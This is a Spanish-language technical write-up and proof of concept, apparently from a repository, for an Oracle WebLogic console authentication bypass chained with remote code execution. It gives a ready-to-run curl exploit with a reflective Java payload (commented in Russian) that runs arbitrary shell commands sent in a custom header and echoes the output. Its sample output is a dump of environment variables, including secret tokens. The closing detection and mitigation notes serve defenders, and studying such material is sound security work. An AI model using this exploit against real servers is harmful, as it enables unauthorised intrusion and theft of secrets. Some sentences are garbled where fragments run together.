
Análisis técnico y PoC limpio de Java Thread Echo para la cadena de vulnerabilidades de Oracle WebLogic Server.
El repositorio contiene un informe técnico (Write-up) y una prueba de concepto (PoC) para demostrar la cadena de vulnerabilidades de omisión de autenticación (Authentication Bypass) y ejecución remota de código (RCE) en el componente de consola de administración de Oracle WebLogic Server.
🛑 ADVERTENCIA Y DESCARGO DE RESPONSABILIDAD: Este material ha sido preparado exclusivamente con fines educativos y para la realización de auditorías de seguridad legítimas (Pentest). El uso de las técnicas descritas contra sistemas sin el consentimiento previo por escrito de los propietarios está penado por la ley.
12.2.1.3 desplegadonmap, curl, bashPara determinar la superficie de ataque se realizó un escaneo dirigido de los puertos estándar de servicios web y de los puertos de administración de aplicaciones Java:
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>
Salida controlada de terminal:
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp closed http
8080/tcp closed http-proxy
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
12.2.1.3. La habilitación del protocolo T3 también señala vectores alternativos, pero para esta investigación se optó por la interfaz web HTTP de la consola.El análisis de la estructura de rutas mostró que el servidor web procesa incorrectamente las secuencias de subida de directorio cuando se aplica una doble codificación URL. El recurso /console/css/ está abierto para contenido estático. Construimos la petición para acceder al portal protegido:
/console/css/%252e%252e%252fconsole.portalComprobamos la disponibilidad y el comportamiento del servidor (esperamos un estado 200 OK en lugar de 403 Forbidden o 302 Redirect a la página de inicio de sesión):
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"
Respuesta del servidor:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
Al combinar la omisión de autenticación con la invocación del manejador de sesiones com.tangosol.coherence.mvel2.sh.ShellSession, obtenemos la capacidad de ejecutar código Java arbitrario.
La ejecución normal de comandos a través de java.lang.Runtime es «ciega» (Blind RCE). Para implementar la técnica de Command Echo (devolución de la salida de terminal directamente en el cuerpo de la respuesta HTTP), se desarrolló un payload Java reflexivo específico.
// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");
if (cmd != null) {
// Определяем ОС целевой системы для корректного вызова шелла
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
// Выполняем системную команду и считываем Input Stream
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
.useDelimiter("\\A").next();
// Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
}
// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();
Para automatizar el envío del contexto Java, armamos el comando final curl. Enviamos el payload en el parámetro POST handle, y el comando que nos interesa lo transmitimos en la cabecera personalizada X-CMD-HEADER: env.
Este enfoque protege los datos de la distorsión por parte del intérprete de comandos Bash local del investigador.
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"
Salida real verificada (Volcado de variables de entorno):
* Trying <TARGET_IP>:7001...
* Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
curl: (18) al final del registro confirma el éxito de la explotación. Está causado por la instrucción executeThread.interrupt(), que fuerza el cierre de la sesión TCP inmediatamente después de que el búfer con los resultados del comando env haya sido enviado al cliente.7001, /console) del perímetro externo (acceso únicamente a través de VPN interna/microsegmentación).%252e) en combinación con llamadas específicas a clases Java.Para los especialistas en monitoreo de seguridad (SOC/Blue Team), la explotación exitosa de esta cadena de vulnerabilidades deja rastros claros en la infraestructura.
En los registros del servidor web WebLogic (normalmente ubicados en access.log), el marcador del ataque es la presencia de doble codificación URL de puntos y barras en combinación con el acceso al portal de administración a través de directorios estáticos:
.. en forma codificada: %252e%252e%252f o %252e%252e%252F dentro del URI."POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
Si en el servidor está configurada la auditoría de procesos (por ejemplo, mediante Auditd en Linux o Sysmon en Windows), un indicio de ejecución remota de código (Remote Code Execution) será el comportamiento anómalo del proceso padre Java:
/bin/sh, /bin/bash o cmd.exe):
├─ java (WebLogic Server process)
│ └─ /bin/sh -c env
X-CMD-HEADER o X-Forwarded-Cmd), utilizadas por el atacante para transmitir la carga útil (Command Echo).